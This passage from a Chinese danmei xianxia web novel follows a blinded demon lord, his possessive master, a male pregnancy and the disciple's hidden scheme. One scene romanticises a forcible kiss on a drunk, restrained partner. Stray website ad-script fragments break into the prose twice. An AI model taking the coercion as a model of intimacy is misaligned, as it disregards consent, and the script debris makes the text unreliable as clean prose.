二竹弋:“……” 二竹弋轻咳一声:“属下想起宫内杂事未处理,先行告退。” “慢。” 陌归尘:“你别走。” 而后指向自家师尊:“你走。” 三人就这么僵持在殿中,氛围一时诡异无比。 二竹弋眼神扫向那道丝毫不让步的红影,又瞥瞥神情淡漠的雪影,自己这遭真是,走也不是,不走也不是。 终于。 雪影趁替徒弟整理狐裘衣领的间隙,掐了把陌归尘的腰,含笑咬咬对方耳|垂:“你知道的,为师可不是什么好人。” 走下大殿,雪影路过二竹弋时,余光还若有似无地瞟了眼二竹弋。 二竹弋赶忙拱手相送。 雪影似笑非笑:“左护法慌什么?吾能吃了你不成?” 二竹弋:“……” 他抬起眸,刚想回话,却见陌归尘一脚把人踹开。 二竹弋:“……” 陌归尘淡眼扫过自家师尊,懒得管那人走不走,对着二竹弋直言:“我只问你一句,从十年前起,你知情多少?” 二竹弋余光瞥向自家主上。 雪影轻飘飘道:“看吾做什么,问的是你。” 陌归尘冷眼瞪人:“你能不能闭嘴?”又看去二竹弋,“你说。” 二竹弋:“应该是全部。” 陌归尘嗤笑:“所以你有什么脸面说我为什么总不信你?惺惺作态。” 雪影看热闹不嫌事大般,指尖隔空点点二竹弋,附和着自家小徒弟道:“就是,惺惺作态。” 话刚完,却被怒火中烧的小徒弟劈头盖脸一顿骂:“你更虚伪!” “……” “……” “好啦好啦,殿下莫恼。”雪影连忙走过来拥人,“带你去看个好东西。” 言罢,便是半牵半推,把人带去魔宫地牢。 地牢。 某间偏僻昏暗的牢房,躺着三个昏迷的身影,正是黄金黄银轻衣三人。 那扇镂空铁门外。 雪影从背后拥着陌归尘,格外好心给小徒弟解释:“其实你也别怨你那位好师尊,十年前,你在落霞峰书房前跪到冻晕,也没能求闻笺收回让你出师决定之时,你的那位好师尊根本不在书房里,才没给你开门。 “他那时正在上古秘境封印我,实在无暇分身。 “而十年前你重创闻笺那夜,你的好师尊其实正在施法重聚你二师姐的三魂七魄,三魂刚成,便被你刺伤。” 雪影指指三个昏迷的人:“你二师姐的三魂便是养在他们体内。” 他把陌归尘掰过来,微微弯下腰,侧过半张脸,点点自己的面颊,示意道:“殿下若亲我一下,为师帮你复活你二师姐,如何?” 沉默许久的青年,如冷静到极致而面无表情,又仿佛绷到临界点的弦,他轻笑了一声,终似弦断,落在寂静的牢内,激起点幽凄的回音。 陌归尘退出对方怀抱,手掌覆盖上眼皮,两行血水,缓缓渗出指缝。 “我再也不要看见你。” 62.你的手也沾满鲜血 62. 春寒料峭,夕阳将将下山。 寝殿内,弥漫着些草药味,本该清爽,舒缓人心。 一众候在殿内伺候的人却觉室内漂浮的粉尘都沉甸甸而混沌,压抑又窒息,叫人胆战心惊,大气都不敢喘。 床上纱幔穿出只素净的手,帘子撩开,露出张气息孱弱的脸,连眉骨都晕着丝苍白的病气,双眼还蒙有段白绫。 银发红袍的青年刚落地。 领头婢女已打出个激灵,迎上去,满头虚汗打量陌归尘:“尊主,您大病初愈,这是要去何处?” 自打那日过后,本就水火不容的师徒二人,彻底同床异梦,关系达到前所未有的冰点。 他们尊主更是疏离冷淡到没再与仙尊吐过半个字儿。 仙尊不眠不休熬制三天三夜的药,尊主非但不喝,还用来泼了仙尊一身,滚烫的药水落在那张清隽的脸,把在场所有人都看得暗捏一把汗,生怕二人又打起来。 罕见的却是,玄胤仙尊神色淡然,若无其事抹走脸上的水迹,交代句“好生照料”,便消失不见,两日两夜未归,不知去何处了。 见陌归尘没说话,领头婢女恭敬跟上:“尊主,奴婢扶您。” 陌归尘避开那手:“不用跟来。”又难得画蛇添足了句,“放心,有本尊在,玄胤仙尊罚不到你们头上。” 领头婢女一怔,她倒不是怕仙尊责备,只是担心自家尊主伤了眼睛,瞧不见东西,万一磕倒碰伤可如何是好? 思忖间,但见那人摸着墙,顺畅离开,便是听话停下。 陌归尘再次来到地牢。 停在某牢房前,青年掌心握上铁门锁栓,本欲放走里面三人,只是转念一想,又松手离开。 关在此地,何尝不是种变相保护,毕竟整个仙门十四州,就是一个巨大的法阵。 回去?祭阵么? 至于这阵法为何迟迟未开启,陌归尘猜测十之八九是这岔子,卡在最核心那步 ——阵眼。 不然凭他家师尊的实力,又没闻笺阻拦的情况下,杀穿三界,根本不在话下,当然,不排除那人心里扭曲,也许更享受慢慢折磨人的乐趣。 谁知道呢。 夜色下的青年出了地牢,又想到什么,便是捏出道传音符。 传音符接通。 对方似难以预料竟会收到他的传音而沉默许久,难得是平静问:“什么事?” 陌归尘已来到魔宫边缘,伸手,果不其然摸到道屏障 他道:“不想死的话,尽早召集仙门众人离开仙门范围。” 那边难得温和的人,霎时被挑起压抑的怒火:“闻青栀你又发什么疯?” 陌归尘:“那你们等死吧。” 刚想掐断传音,对面突然喊住他:“闻青栀。” 陌归尘冷然吐字:“说。” “有人威胁你?还是——”对面人的声音难以置信得有些尖锐,“你真被软禁了?” 华云舟:“幕后之人是谁?实力强悍到连你师尊也敌不过?他到底想做什么?” 陌归尘哑然。 对面的华云舟同样沉默许久,不知多久后,终是喟叹一声,绵长又羞愧,亦像幡然顿悟后的沧桑无力,反省道:“或许是我愚昧,不该固执偏信天机石预言,命理也许并非只有天定,又或许天机石也会有纰漏,总之……” “你……” 那边嗫嗫嚅嚅“你”个半天,方才吐出句语气飘忽含糊的话,“等我,我想办法把你们师徒救出来。” 陌归尘嗤之以鼻:“一大把年纪的人,就少瞎折腾。” 最后几个字几乎是从鼻息哼出来的,显得模糊不清,又别别扭扭的:“顾好你自己。” 不等人回答,直接掐断传音。 不消片刻,传音符又嗡鸣震了震,陌归尘没接,一掌轰碎传音符,拎起酒壶,边饮酒边围绕魔宫边缘走了一趟,预料之中,屡屡被结界拦回。 那是一道只拦他的结界。 若是再碰久些,便会有无形的水流从屏障蔓延爬来,缠绕上肌肤,冰冰凉凉,酥酥麻麻的。 又像是蛰伏已久的毒蛇,自指尖处,一圈又一圈游移而上,鳞片摩挲肌肤,滑腻又阴冷,盘踞缠绕在他颈肩,朝他嘶嘶吐信子,传达警告信号。 陌归尘抽开手。 不幸中又腾起一丝安慰,是这道结界较于之前,明显有效力变弱的趋势,也就是说结界主人,他的师尊,如今情况不容乐观,说不定负伤不轻。 一切都在按照预期发展。 陌归尘想,那人八成是去极寒之地,催熟那颗闻笺上次未能催熟的破果子,一株传言能治眼疾的仙果——望月夜明砂。 万籁俱静,身后忽而传来簌簌脚步声,陌归尘知道来者是谁,但没理会,闷头灌了口酒,继续旁若无人摸索。 掌心再次探到这道结界,陌归尘了然收手,只要自家师尊再伤两分,只要他修为再精进一些,便能破这道结界。 夜色浓稠,二竹弋就这么站在十步之外,静静看着陌归尘。 那日,这对师徒去了一趟地牢,也不知怎么的,出来时,一个双目失明晕倒,被抱出来,另一个,同样情况不妙,浑身气息溃散,嘴角还源源不断溢出鲜血。 简直是在互相折磨。 二竹弋恻隐之心微动,掩掩眼帘,终于启唇。 夜里很静,男子的嗓音落在凄凄风声中,缥缈又幽清。 “早在十多年前,主上便发现你执念太深,隐有生心魔迹象,还为此与闻笺多番争执,甚至大动干戈,我从未见主上发过那样大的火,二位教育理念素来不同,说句僭越的比喻,那便是一个如严父,一个似慈母,才有后来的桩桩件件事…… “这十年,何尝不是一场对抗心魔,磨练心性的历练,殿下聪慧,我不信你读不懂其中用意。” 陌归尘平静得出奇,波澜不惊诘问:“那又怎样?那些鲜活的性命,就活该被当作旁人的垫脚石?” 这话顿时把二竹弋堵得哑声,这些年所做的林林种种,事出有因又如何? 结果固然是帮助对方成长,但过程确实是脚踏实地,真真切切经历的。 难道裹上层“为你好”的糖衣,便能消除藏在里面的苦难么? 不能,伤痛是无法磨灭的。 陌归尘转身,面向二竹弋:“怎么,他派你来游说我?” 二竹弋摇头:“不是,我只是不想看殿下难过,何苦折磨自己,让亲者痛呢?” 至此,那人才有些情绪上的波动:“亲者?” 陌归尘自嘲失笑:“我的亲者死了,都死了,而且一个个死在我面前。” 二竹弋翕动双唇,刚张开嘴,还是沉默。 其实他也不敢断定闻笺到底还在不在,何必给个不确定的答案,到头来只是镜花水月,平白叫人空欢喜一场。 啪一声,酒壶被摔碎,瞬间将人惊醒:“还轮不到你来管我,你的账,我迟早会找你算,你别以为我不知道,十年前那个阵法,是你布置的,你的手,也沾了鲜血。” 陌归尘慢慢逼近二竹弋。 二竹弋站在台阶下,便显得陌归尘比自己还要高出大半个头颅。 月色下,红袍飘拂,淡淡的酒味混杂药香,还有丝独属于青年的冷冽清香,若有似无飘来鼻息,叫人一时失神。 陌归尘挑起二竹弋的脸,居高临下垂低头,语气难辨喜怒:“本尊倒不知,本尊的左护法竟如此以下犯上,你那点心思藏得可真深呀,那要不要赏你夜里来听墙根?” 二竹弋猛然别开脸:“殿下,你醉了。” 陌归尘大抵是觉着对方不禁逗的模样有趣极了,微有兴味,别有深意道:“你恼羞成怒的样子,倒有两分像闻笺。” 留下句轻飘飘的话,便踏落台阶,趁着月色扬长而去。 男子定定愣在原地。 直至风停,庭中不知从何处跑来只猫讨吃,二竹弋方回神,从袖口取出点猫食,单膝蹲下,望着凑来掌心啃肉干的猫。 刚想碰碰小猫脑袋,焉知这猫叼起肉干就跑,完全不让摸。 二竹弋的手僵在半空。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>无声苦笑一下。 * 掌灯小厮刚在回廊点起几盏灯,便见玄胤仙尊乘月而归。 往日俊美无俦的仙人,比平时虚弱许多,眉骨渗汗,唇色苍白,纤尘不染的白靴亦是结上斑驳的暗红污秽,浑身裹挟股难退的潮气,连发丝都似冻出一层化不去的薄霜,掌心还在淌血,滴答滴答的,拖出一路的血迹。 小厮失了礼数,呆滞在原地,他还没见过这般狼狈的仙尊,连上前问好都忘了。 雪影无心顾及他人,匆匆来到寝殿,站在门前,翻转掌心调理气息,拾掇回往日模样,才挽出股云淡风轻的笑踏进去。 地上,七零八落躺着几个空酒壶,房中青年,双眸蒙上白绫,正仰面卧榻,素白的手随意搭在榻边,垂下的指尖,还蘸着几滴酒水,欲坠未坠。 俨然是醉意横生,混沌迷糊,不知今夕是何年。 雪影走近几步端详榻中人。 陌归尘唇瓣沾着酒水,潋滟而泛出抹流动的光泽,大抵是听到房内动静,翻动一下身子,懒洋洋趴起来伸出只手,往外抓了抓。 榻上青年唇角微弯,笑了笑,那笑很奇妙,似含着夏夜的风,秋日的雨,还有满天的星辰,与凝结的糖霜。 雪影一时看得怔住。 然而下一瞬,从这样的笑容里吐出的字眼却是 “闻——” 什么都有。 独独没有他的影子。 与此同时,咚一声。 三百年一开花,三百年一结果,再三百年方能熟的望月夜明砂果实掉落地面。 “唔。” 陌归尘下一个未来得及出口的字,被一双柔软的唇堵在口腔,狠狠碾碎。 雪影单膝跪于榻上,膝盖抵在底下人双|腿间,弯腰,单手把陌归尘双腕反剪在头顶,将人牢牢禁锢身下,又扣起下颌。 愤怒冰冷的吻,碾转片刻,咂|吮掉对方体内酒水。 也吞掉那细碎的呜咽声。 只剩下湿|暖的呼吸交|融,房中腾起阵热|潮,相拥的二人都些躁|动,雪影双手搭落陌归尘的腰|肢,紧扣的指节,似乎一掐,便能将那截纤薄腰身拧断。 听着对方断断续续的喘|息,到底还是忍住了,只是亲|吻,没进一步动作。 蒙眼的布条溢出丝湿|意。 酒水被尽数吸收走,青年的酒态亦随之退却,陌归尘脸颊晕出的绯红慢慢消掉,只留下些淋漓的热汗。 他伸手去推人。 没推动。 陌归尘手肘撑在软被借力,抬脚踹出去,正中对方胸膛。 雪影低头,夜里潮气重,那截裸|露的脚|踝泛出片红。 他顺势把陌归尘的双脚摁下来,放到自己腹部位置,盖上两边宽大的袖摆,裹得严严实实的,好替道侣取暖:“有点凉,捂一捂。” 陌归尘皱眉,使力抽腿,却纹丝不动,干脆放弃挣扎,直接往床上一躺,本就看不见的人,还把脑袋埋进墙面,可谓是嫌弃十足。 雪影也没多言,许久后方吐出句:“饮酒伤身,也伤你腹中胎儿,别闹了好吗?” 话音刚落,那道红影肩背无意识动了动,又目睹小徒弟绫罗下的眼睫轻颤一下,雪影敛回神思,手指轻轻碰了碰陌归尘腰腹:“这里,多了两个小猫崽。” 他又温声补充道:“是对龙凤胎,正正凑成个‘好’字。” 这话过后,没人再出声,房中一时静得呼吸可闻。 怔然许久的青年,终于缓涩转过头,面向他,对他说出这些时日来的第一句话,只是满脸愕然,不可置信又迷茫问:“我怀了师尊的孩子?” 他不在意孩子,一个还未出生便被生父百般折磨的人,怕是连爱都不懂,更遑论爱孩子。 但若是孩子的到来,是柳暗花明的转机,是师徒二人关系破冰的开端,是他父凭子贵的起点。 那便是意义非凡的。 雪影至此,才生出点初为人父的喜悦,极其珍重望人,掌心小心翼翼抚上陌归尘腰腹。 “是,我们的孩子。” 63.曾经沧海难为水。 63. 二人之间,沉默横亘。 讷然的青年空茫茫定住,好半天才找回自己的声音:“双生子?龙凤胎?” 雪影点头:“是,一月有余。” 好半晌后,满脸不可置信的青年没因怀上仇人的孩子而一哭二闹三上吊,他出乎意料低喃声:“龙凤胎不好。” 雪影一怔,不过此番言行倒也符合徒弟那偶尔不着调的作风,觉着有些好笑,耐下性子追问:“如何不好?” 陌归尘:“一阴一阳,家破人亡。” 这下,堂堂玄胤仙尊真是被徒弟的语出惊人逗笑,他揉揉那人脑袋:“傻瓜,净胡说八道,一阴一阳,乃‘明’,往事暗沉不可追,来日之路光明灿烂。” 又继续道:“明,拆开为日与月,日升月落,轮转而回,多圆满的闭环。” 陌归尘轻嗤一下,又纳闷嘀咕:“我不是吃避子丹了吗?” 雪影:“你又不是不知自己那半吊子炼丹术。” 陌归尘整个人钻进被子里,蒙起头来,似因挫败而郁闷不已,不满咕哝:“你看出来了,怎么不提醒我?” 那一刻,二人的氛围,无端有种往事尽数翻篇的错觉。 雪影低低笑着掀开一点被角,凑过去哄人:“那下次提醒你。” “你别想有下次。” “好好好,都听你的。” 他沉浸在冰释前嫌的愉悦里,弯着腰轻哄:“也不是不想提醒你,只是按照我们玉玉的性子,估计为师说完,你能再吞一整瓶,是药三分毒,多吃伤身。” 被窝里的人默然半晌,最后哼出个“哦”字。 “你上次炼的催情丹更是如砒霜。”他轻叹一声,“为师都手把手教你了,哪知你还是没记住,有时候炼丹亦如行兵打仗,差一分,便万劫不复。” “那你怎么没死?” “就这么盼着师父死。”雪影伸进被里,往对方腰下拍了一下,“是不是没良心?” 青年羞窘要逃离恶劣的魔掌,还是被对方抓住猫尾根,拦腰捞出来摁到师尊腿上,规规矩矩跪|坐,只能很不服气地气死人不偿命道:“日子有了盼头,才能好起来。” 当年杀尽满天神佛的邪神,一次又一次在徒弟跟前栽跟头,却也只能无奈又纵容,掐了掐对方腰下软|肉:“你就仗着师父疼你吧。” 意料之中,挨了一拳。 “呕……” 突兀的一声压抑干呕,直把陌归尘听得懵怔,因为吐的不是他,而是他家师尊。 “?” 他僵涩抬起脑袋,难以置信道:“怀孕的是我,你吐什么?” 话虽如此,但陌归尘还是很快便了然,早些年,闻笺带他游历,曾遇到过类似情况。 当时他们落脚在一对恩爱无比的农家夫妻家中,年轻妇人正好有身孕,妻子还没孕反,倒是当丈夫的先出现嗜睡、易累,甚至吐得稀里哗啦等症状。 闻笺道,是那位丈夫太过紧张在意自家妻子导致的假性孕状,罕见,但确有可能。 …… 师尊没回话,只是双掌摁在他双腿,熟稔按摩。 陌归尘:“我不累。” 雪影:“你当然不累,你的孕反都被为师用蔷薇引引走了。” 陌归尘:“转移到哪?” 雪影笑着捏捏小徒弟脸颊:“消失了。” 陌归尘:“俗话说:一孕傻三年,你还真当我傻?” 雪影趁机偷亲一口:“不傻,我们玉玉最聪明。” 他完全沉浸在师徒二人关系好转的喜悦中:“为师无事。” 说完,便又有干呕前兆,只是被生生压回去。 陌归尘嫌弃撇嘴:“成神的人,还能假孕,丢不丢脸。” 雪影一把把人拽进怀里,眉目间尽是散不去的温情,话语缱绻:“神也有劫,你就是我的劫,这辈子都逃不掉的情劫。” 陌归尘止不住打出个激灵。 肉麻死了。 见二人重修旧好,候在门外的领头侍女,忙为几日未进食的尊主大人上了满满一桌菜,又很是识时务带着众人退下,给这对师徒腾出说体己话的二人空间。 陌归尘被自家师尊拉着来到圆桌前坐下,那人还斟了杯暖茶安进他手:“总之,我们玉玉只管舒舒服服怀到产子。” “那我生产时的疼,也会转移给你吗?”陌归尘抿着茶水问。 他听到那人低低笑了笑,说得轻描淡写,不知是信手拈来的甜言蜜语,还是无心出口的真话:“嗯,百倍反噬。” “百倍这么疼,你还要我生?” “只要我们玉玉开心,万般负累,不过如此。” 闻言,陌归尘没再说话,也没当真,面无表情张嘴,咬住师尊喂到嘴边的小酥肉,食不知味嚼着。 用完膳,侍女又送上碗安胎药,陌归尘闻着浓稠酸涩的药味,皱眉:“苦不苦?” “不苦。” 魔尊大人将信将疑尝了口,还真不苦,甚至有些清甜,因为味觉被某人刻意控制着。 再喝一口是粽子糖味。 又喝一口是小鱼干味。 接着便是雨后青提味。 …… 当喝到猫薄荷味时,魔尊大人终于按捺不住嫌弃道:“你幼不幼稚啊。”还是情不自禁舔舔唇角。 “讨道侣欢心算幼稚的话,那我很乐意幼稚一辈子。” “无聊。” 老得年龄都难以考究的人,此刻愉悦得像个得到糖的孩子,还小心翼翼伏低头,去听他的孕肚。 陌归尘:“……” 魔尊大人简直无话可说。 还医修呢? 陌归尘都不忍嘲讽自家师尊了:“一个多月,听不到胎动的。” “胡说,他们在和我笑。” “……” “还说,喜欢爹爹。” “……” 陌归尘没忍住翻了个白眼,面无表情推开对方,走去榻边:“我想歇了。” 如今开春,这两日天气有些燥热,他刚躺下,便感觉到身后人在默默替他纳凉。 待他呼吸趋于平稳细微后,那人捡起地上的果子,推门而出,临走前还特地施法调控了一下殿内温度。 魔尊大人自然不能乖乖睡觉,听着那人渐行渐远,爬起,来到护法殿主殿。 满屋檐的灯下。 青年静坐发呆。 不知多久后,他恍惚发觉院中多出道气息。 陌归尘换了只手,继续托腮,漫不经心吐出懒洋洋的调子:“有话快说。” “殿下,这十年间,你每一次应战,主上都在暗中看着你,你伤,他陪着你伤,你痛,他陪着你痛。” “然后呢?” “你难道没发现你这十年间受到的那些伤痛,总能一夕之间离奇自愈么?那只是被转移走了而已。” “然后呢?” “我也不知是不是你童年戏言,但主上却记住了,是殿下说要‘名扬天下’,也是殿下说要‘和师尊并肩而立’。” “然后呢?” “我……” 二竹弋沉默一下,“我只是希望殿下能——”开心点。 话未完,已被对方打断。 “能什么?原谅他吗?你不用一遍遍与我解释他的苦衷与动机。”陌归尘扶着门框站起,面无表情转身,直言不讳,“仁者见仁,智者见智,我没有全盘否定他,只是道不同不相为谋,我与他不是一路人。” 青年跨过门槛,往殿内迈去:“不是他不好,而是,曾经沧海难为水。” “殿下误会了,我并非执意要你原谅谁,选择谁,我只是不想看你郁郁——” 二竹弋抬眸,那人早已消失不见,未来得及出口的话凝固在唇齿,化作个强颜欢笑。 * 浮华派。 自打上次意外遇到凶煞围剿那遭事后,门派折损一半弟子,显得整个山峰都有些空寂萧条。 华云舟乘着夜色而归。 他低头看了眼掌心的粽子糖,那是特地下山买的,逛了七八个集市方才寻到这么点。 正峰主殿,小灵藕乖乖坐在椅子上,怯怯盯着华云舟。 它小声唤道:“师伯。” 华云舟轻嗯一声,将手里的糖都放到台面:“拿去吃吧。” “真的吗?”见到这糖,小灵藕霎时双眼放光,趴在桌沿站起来才能够那堆糖,急切抓回来,迫不及待开吃。 华云舟垂视这些糖,情难自禁想起些回忆。 起初,这门派其实他妹妹归云真人一手一脚创立的,后来妹妹想云游四海,他们兄妹情深,二话不说便应下帮妹妹好好守着门派,再往后,妹妹带回个女婴,没多久便撒手人寰,让他多多照顾一二。 妹妹遗愿,他自然义不容辞,非但日益壮大门派,更是将那女婴视如己出。 而这粽子糖便是小姑娘家乡的特产。 妹妹说小姑娘叫“岁愉”,意为:长命百岁,岁岁康愉。 他没有辜负妹妹所托,小姑娘长得很好,只是后来,宗门来了个混世小魔王,不讲规矩,还与他各种不对付。 其实也不打紧,骂几句,小罚一下便让小魔王得过且过去了。 两人还常常结伴,到处调皮捣蛋,他都睁一只眼闭一只眼。 只是后来—— 因为那个混世小魔王。 他的小姑娘没能长命百岁。 怎么可能不恨? 他恨不得他死。 只是恨了这么多年,忽然发现自己可能恨错人了。 …… 华云舟微叹一声退出回忆,打量这只与那个混世小魔王七八分相似的小灵藕,伸手,摸了摸对方的头。 “额……” 感觉被摸了摸脑袋,小灵藕茫茫然抬眸,咧嘴,露出满口小白牙笑笑,清脆道谢:“谢谢师伯。” 原来小魔王笑起来是这样的啊,华云舟也回以个笑:“你比你主人讨喜多了。” “啊?” 小灵藕眉眼蔫下,不假思索吐出口中的糖,眼底不舍,嘴里却说:“不要你的糖。” 它踉踉跄跄跳下椅子,还差点摔倒:“你讲别人坏话!你坏!”然后头也不回跑走。 华云舟愣了一下,站在一旁的大师姐林月见忙打圆场:“师尊莫恼,小孩子都这样,心性不定。” 她抓起桌面的糖果:“我去哄一哄便好。” 话毕,赶忙追出去。 林月见追了好一会儿方追上小灵藕,温声细语哄几句,小灵藕便眉开眼笑接走粽子糖。 转身的功夫,却见落霞峰山脚下有团叶影诡异簇动几下,林月见脸色凝重,连忙赶过去。 不知是否错觉,她方才那瞬间似察觉到丝魔气。 大师姐狐疑环顾四周,此刻风止,林静,什么异样也没有。 * 这两日,陌归尘平静得有些出奇,虽寡言少语,但也乖乖听话,很是任人摆|弄。 譬如,如今正安分坐着,由得自家师尊给他的眼睛敷药。 那温馨氛围,连一旁的婢女都胆大得忍不住打趣:“我先前还不理解仙门那对怨侣怎会因孩子恩爱两不疑起来了呢,如今看来,这种产生共同血脉的羁绊,还真是奇妙啊。” 陌归尘没理会小婢女们的窃窃私语,只道:“这药都敷两天了,好像没效果。” 雪影接过条新绸缎,绑上徒弟双眼,宽慰说:“万事有师父。” 陌归尘蓦然没头没尾问:“从前还在浮华派的那次仙门大会,看到我在场中奄奄一息而焦急,大有种掀翻整个会场救人,再让大家陪葬的,是你?” 雪影没有全盘揽走功劳,坦坦荡荡道:“也不尽是,我们都焦急,都想救你,想要大家陪葬的,只有我。” “哦。” 在徒弟脑后绑出漂亮的结子后,雪影捏起对方下巴:“我的徒弟,可不能受委屈。” 陌归尘自言自语咕哝:“难怪那些伤我的人,后 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来都接二连三暴毙身亡。” 伺候的人纷纷退下。 此情此景,是师徒二人鲜有的交心时刻,彼此都在毫无保留地袒露心扉。 陌归尘被自家师尊拥着:“小时候老带我打架的也是你?” 其实那些片段残碎而模糊,有时他会误以为是自己在做梦,便也没多纠结。 青年声色淡淡的:“如果只有你带大我会怎样?” 雪影似乎还蛮憧憬,轻笑:“大抵是大魔头带着小魔头毁天灭地?” 他满不在乎挽唇:“那又如何?只要我们玉玉开心,这三界就合该是你的玩具。” 片刻后,语气略微惋惜而挫败,又夹杂一丝对敌手的佩服:“你那位好师尊还是把你教得太好了,我们玉玉都当魔尊了,竟还是比那些满嘴仁义道德的正道还正。” 两人倒在软榻,雪影微微撑起身子,没压到陌归尘腰腹,只恰恰好贴着徒弟身子,也才发现徒弟头顶那双猫耳。 “小耳朵怎么露出来了?” 堂堂玄胤仙尊,跟得了玩具而爱不释手的孩子,一直盯着那双白里发粉的猫耳又玩又亲。 徒弟没阻拦也没动弹。 终于,半天没说话,任他蹂|躏的徒弟不耐烦地用耳朵甩了他一巴掌,从他臂弯钻出来,自顾自下榻。 但还是没有把猫耳收起来,某位仙尊笑着追上去,从背后拥住惯是傲娇的爱侣,偏着脑袋探出头来,戳戳对方的腮帮。 摆出一副恍然大悟模样,横着食指抵起徒弟下颌,又抚上徒弟的肚皮:“今天怎么这么乖?在哄师父开心,是不是?这两个孩子,还真是我的小福星。” 陌归尘闷着嗓子轻嗤,惜字如金否认:“收不住。” 雪影笑得更开怀,小啄一口对方脸颊:“你那小尾巴一翘,为师就知道你在想什么,小傲娇。”说着便是松开环抱徒弟腰身的手臂,转而牵上对方的手。 二人十指紧扣走出魔宫。 “来而不往非礼也,带我们玉玉宫主出去走走好不好?” 离开魔宫,师徒二人路过某片破旧院落。 一群孩子正围着几株七星海棠惊叹着要摘花:“好漂亮的花,可以吃么?” 几人蠢蠢欲动。 院外,陌归尘顿住脚步,冷不防道:“越漂亮,越有毒。” “啊?” 几名孩子惊恐散开些许,其中一条小羽蛇煞有其事点头。 “对!我娘就是。” “啊?” “我爹骂我娘是蛇蝎美人。” “啊?” “我娘把我爹毒死了。” “啊?” “我娘说,杀夫之仇,不共日月。” “啊?” …… 陌归尘没再逗留,迈腿离开,师徒二人走近喧闹的集市,一位大娘正在挎着个竹篮吆喝:“平安扣,保平安的平安扣,十块上品灵石一对!” 一对年轻夫妻刚买完,正在互相戴平安扣。 女子:“夫君,我们互相换着戴好不好?我的平安放在你这,你可要仔细保管好了。” 男子笑吟吟替自家夫人挂好平安扣:“谨遵夫人之命。” 陌归尘嘀咕:“那平安扣还真能保平安?” 师尊在他耳边笑答:“信则灵,不信则泯。” 陌归尘轻哼声:“我才不信。” 片刻后。 陌归尘接过平安扣。 雪影无奈摇摇头:“不是说不信?口是心非。” 陌归尘拎着平安扣一把卡进自家师尊腰封:“守护好了。” 雪影轻笑声,亦是低头,慢条斯理替徒弟扣上平安扣:“那玉玉也要护好为师的平安。” * 夜深人静。 陌归尘坐起身子,伸手,指覆碰上枕边人的脸,看不见,便只能靠手指轻轻盲摸对方五官,尾指刚好压到对方的唇,温温软软的,他奇怪地想,不知死后会不会变得冷硬? 月光投进一捧白霜。 陌归尘凑低头,刚好穿过那束月色,缓缓靠近自家师尊。 两张唇贴得很近,但他并非是想吻对方,只是循着猫性本能去嗅对方的鼻息。 那一刻很奇妙,他完全失去身体控制权,迫切想确定这人还有没有呼吸。 好半天,才自言自语吐出几个字:“其实你挺好的。” 本该熟睡的男子忽地扯住他手腕,陌归尘猝不及防跌下去,趴进自家师尊怀里。 紧贴的胸腔微震,师尊抵在他脑袋的下巴动了动,出口的嗓音染着点慵懒的哑涩。 师尊:“有多好?” 陌归尘:“……” 那人的话还在继续,听起来风流又撩人:“能在殿下口中得一句夸赞,实属不易,为师得用留音石录下来,反复回味。” 陌归尘:“……” 陌归尘:“你装睡!” 师尊:“被你摸醒的。” 师尊:“幸亏醒了,不然多亏。” 陌归尘:“……” 他没好气跨过自家师尊的腰腹,翻身下榻。 “去哪?” “去给你挖坟!” 师尊似乎又被逗乐,笑得更开怀,甚至陪他胡闹:“那你先挖一会儿,为师再多听两遍这留音石。” * 庭中,不知何时架起个火盆,烈焰熊熊翻腾,陌归尘倚在檐角下取暖。 他神情淡漠抬起拳头。 紧握的掌伸到火盆上空。 松开五指。 手心掉下枚平安扣。 呼一声,绑平安扣的挂绳在火中扭曲变形,刷地腾起束火苗,眨眼落成灰烬。 平安扣还在噼里啪啦燃烧。 烛火映照陌归尘蒙着白绫的脸,映出一对迷人笑靥。 任谁远远看去,都只道这是神明最忠诚的信徒,噙着最烂漫的笑容,送上最虔诚的祝福 ——“我当然是信的,师尊,你可一定要平平安安呀。” 64.陵墓寒玉棺,醋吻 64. 更深露重,自家师尊出来时,陌归尘仍在火盆旁取暖。 来人第一句便是:“平安扣怎么不见了?” 果然被看见了,无所谓,本就是故意让对方看见的。 哪怕有孩子助力“释怀”,但这一下子就转性还是太生硬突兀,师尊怎会不生疑?当然是要偶尔流露真情,在关系回温过程中藏点无伤大雅的小怨念,由所谓的“爱恨交织”过渡到“爱”。 他扶着墙起身,佯装惊讶摸摸胸膛:“许是掉在半路了。” 师尊:“罢了,不重要。” 陌归尘:“哦。” 又听对方笑得温润如玉:“带你去个好地方。” 陌归尘:“……”他可太了解自家师尊的变态程度了,这所谓的好地方怕不是瘆人得头皮发麻。 那人也没待他回答。 直接牵上他。 师尊的手宽大又厚实,大抵是经年累月用剑的缘故,掌上有一层薄茧,握起来会时不时摩擦他手心,磨得人心尖微漾。 这几日,陌归尘没追问师姐那事的后续,皆因他早在往生镜里见证到,二师姐会复活,十三师兄亦会破除诅咒,他的朋友阿栀也会回来,就连被他杀掉的晏玉书都能好好活着。 他没看到华云舟口中曾预测的生灵涂炭惨状,倒是一片海晏河清的祥乐景象,所有人都好起来了。 唯独闻笺,他只看到闻笺的过去,偏偏看不到闻笺的未来。 陌归尘止不住奇怪地想,假若复生阵后,闻笺也能安然无恙回来,他与眼前这位师尊当如何? 一刀两断? 藕断丝连? 再回神时,额角被一个手背探了探,师尊问:“热么?怎么脸红了?” “啊?” 陌归尘讷讷摸上脖子,确实有点烫,他讪讪别开头:“这是什么地方?” 师尊:“我们的陵墓。” 陌归尘:“……” 他就说这人变态。 寂夜无声,他又听到师尊理所当然开口,语气轻淡,如聊一件稀松平常的事:“倘若真有那天,我就先把你吃掉,与我合葬在此,生同衾,死同穴。” 石门轰隆隆向两侧移开,内里气息扑面而来,裹挟得师尊的话都含上股阴恻恻的寒,像阴森的毒蛇,冰冰冷冷游移在他肌肤,一点一点蚕食吞噬他的温度。 猫天性畏寒,陌归尘不喜这样的感觉,黏稠散不去的阴湿凉冻,让他极度不安,甚至产生点恐惧。 而唯一能安抚他的人,就在身旁。 然而这人,又是始作俑者。 魔尊大人很想转身就走,奈何手被对方牵住,那是一种完全包裹的牵法,暖暖的,很抚慰人心,他像只被抚顺毛的猫,脚步不听使唤,跟着对方走进陵墓。 但神情还是不情不愿的。 对方大抵是会错意了,以为他这冷若冰霜的模样是嫌地儿脏,含着笑调侃:“不脏。”随后又颇为无奈叹息,“我们家玉玉怎么这么爱干净?好啦,师父抱着你可以吗?” 